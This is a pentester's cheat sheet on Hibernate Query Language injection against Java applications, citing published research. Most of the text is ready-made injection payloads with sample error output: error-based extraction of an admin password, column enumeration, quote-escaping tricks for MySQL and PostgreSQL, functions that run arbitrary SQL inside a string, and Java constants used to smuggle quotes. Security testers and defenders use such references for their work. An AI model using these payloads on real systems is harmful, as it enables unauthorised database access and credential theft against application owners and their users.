# Hibernate Query Language Injection

> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia


## Summary

* [HQL Comments](#hql-comments)
* [HQL List Columns](#hql-list-columns)
* [HQL Error Based](#hql-error-based)
* [Single Quote Escaping](#single-quote-escaping)
* [$-quoted strings](#--quoted-strings)
* [DBMS Magic functions](#dbms-magic-functions)
* [Unicode](#unicode)
* [Java constants](#java-constants)
* [Methods by DBMS](#methods-by-dbms)
* [References](#references)


## HQL Comments

```sql
HQL does not support comments
```

## HQL List Columns

```sql
from BlogPosts
where title like '%'
  and DOESNT_EXIST=1 and ''='%' --
  and published = true
```

Using an unexisting column will an exception leaking several columns names.

```sql
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
      select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
```

## HQL Error Based

```sql
from BlogPosts
where title like '%11'
  and (select password from User where username='admin')=1
  or ''='%'
  and published = true
```

Error based on value casting.

```sql
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
```

:warning: **HQL does not support UNION queries**

## Single Quote Escaping

Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.

In HQL SINGLE QUOTES is escaped in strings by doubling `''`.

```
'abc\''or 1=(select 1)--'
```

In HQL it is a string, in MySQL it is a string and additional SQL expression.

## $-quoted strings

Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.

Hibernate ORM allows identifiers starting with `$$`.

```
$$='$$=concat(chr(61),chr(39)) and 1=1--'
```

## DBMS Magic functions

Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.

Hibernate allows to specify any function name in HQL expression.

PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.

```
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
```

Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`

```
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
```

## Unicode

Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.

In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;

HQL allows UNICODE symbols in identifiers (function or parameter names).

```
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
```

## Java constants

Method works for most DBMS (does not work for MySQL).

Hibernate resolves Java public static fields (Java constants) in HQL queries:

- Class with Java constant must be in classpath
- Ex. `java.lang.Character.SIZE` is resolved to 16
- String or char constants are additionally surrounded by single quotes

To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.

```java
public class Constants {
    public static final String S_QUOTE = "'";
    public static final String HQL_PART = "select * from Post where name = '";
    public static final char C_QUOTE_1 = '\'';
    public static final char C_QUOTE_2 = '\047';
    public static final char C_QUOTE_3 = 39;
    public static final char C_QUOTE_4 = 0x27;
    public static final char C_QUOTE_5 = 047;
}
```

Some usable constants in well-known Java libraries:

```ps1
org.apache.batik.util.XMLConstants.XML_CHAR_APOS         [ Apache Batik ]
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE           [ ICU4J ]
jodd.util.StringPool.SINGLE_QUOTE                        [ Jodd ]
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR      [ Logback ]
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING            [ jStyleParser ]
com.sun.java.help.impl.DocPConst.QUOTE                   [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE  [ EclipseHelp ]
```

```
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
```


## References

- [HQL for pentesters - Philippe Arteau - February 12, 2014](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
- [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt - July 7, 2010](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
- [HQL: Hyperinsane Query Language - Renaud Dubourguais - June 4, 2015](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
- [ORM2Pwn: Exploiting injections in Hibernate ORM - Mikhail Egorov - November 26, 2015](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
- [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov - October 16, 2016](https://web.archive.org/web/20161016220026/https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf)
- [HQL Injection Exploitation in MySQL - Olga Barinova - July 18, 2019](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)